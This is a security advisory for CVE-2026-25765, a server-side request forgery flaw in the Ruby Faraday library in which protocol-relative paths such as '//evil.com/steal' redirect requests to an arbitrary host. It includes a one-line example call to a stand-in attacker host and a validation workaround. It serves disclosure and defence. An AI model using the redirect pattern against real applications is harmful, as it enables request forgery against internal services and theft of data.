CVE-2026-25765
ADVISORY - githubSummary
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
Common Weakness Enumeration (CWE)
Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF)
Improper Validation of Unsafe Equivalence in Input
NIST
3.9
CVSS SCORE
5.8mediumGitHub
3.9
CVSS SCORE
5.8mediumDebian
-
Ubuntu
-
CVSS SCORE
N/AmediumRed Hat
3.9
CVSS SCORE
5.8mediumChainguard
CGA-v2w2-v3xj-v37m
-
Photon
CVE-2026-25765
-
CVSS SCORE
5.8mediumminimos
MINI-2q6m-h48j-jpvq
-
minimos
MINI-4qxc-47j8-hf5c
-
minimos
MINI-534j-f9x3-p974
-
minimos
MINI-562x-fpgh-r3hp
-
minimos
MINI-6559-xmmm-j3cq
-
minimos
MINI-68fq-725p-cvw7
-
minimos
MINI-7497-3hh6-jcwm
-
minimos
MINI-77r2-8h78-jg8w
-
minimos
MINI-8rq8-vvfm-pf4g
-
minimos
MINI-9mqf-h3cm-xp5r
-
minimos
MINI-gc7m-2vwr-48xj
-
minimos
MINI-gfhw-72f2-4j49
-
minimos
MINI-mqg9-33ww-944p
-
minimos
MINI-pm9q-vh64-vp9r
-
minimos
MINI-q379-g6j8-v4wx
-
minimos
MINI-qv37-qh3g-j8fj
-
minimos
MINI-qvcw-3ggc-527p
-
minimos
MINI-qwqw-6ghr-5wwm
-
minimos
MINI-rv98-3v5r-mqph
-
minimos
MINI-v3qr-qf46-fcc7
-
minimos
MINI-v3vw-5phm-5754
-
minimos
MINI-wf6w-w39g-6r7c
-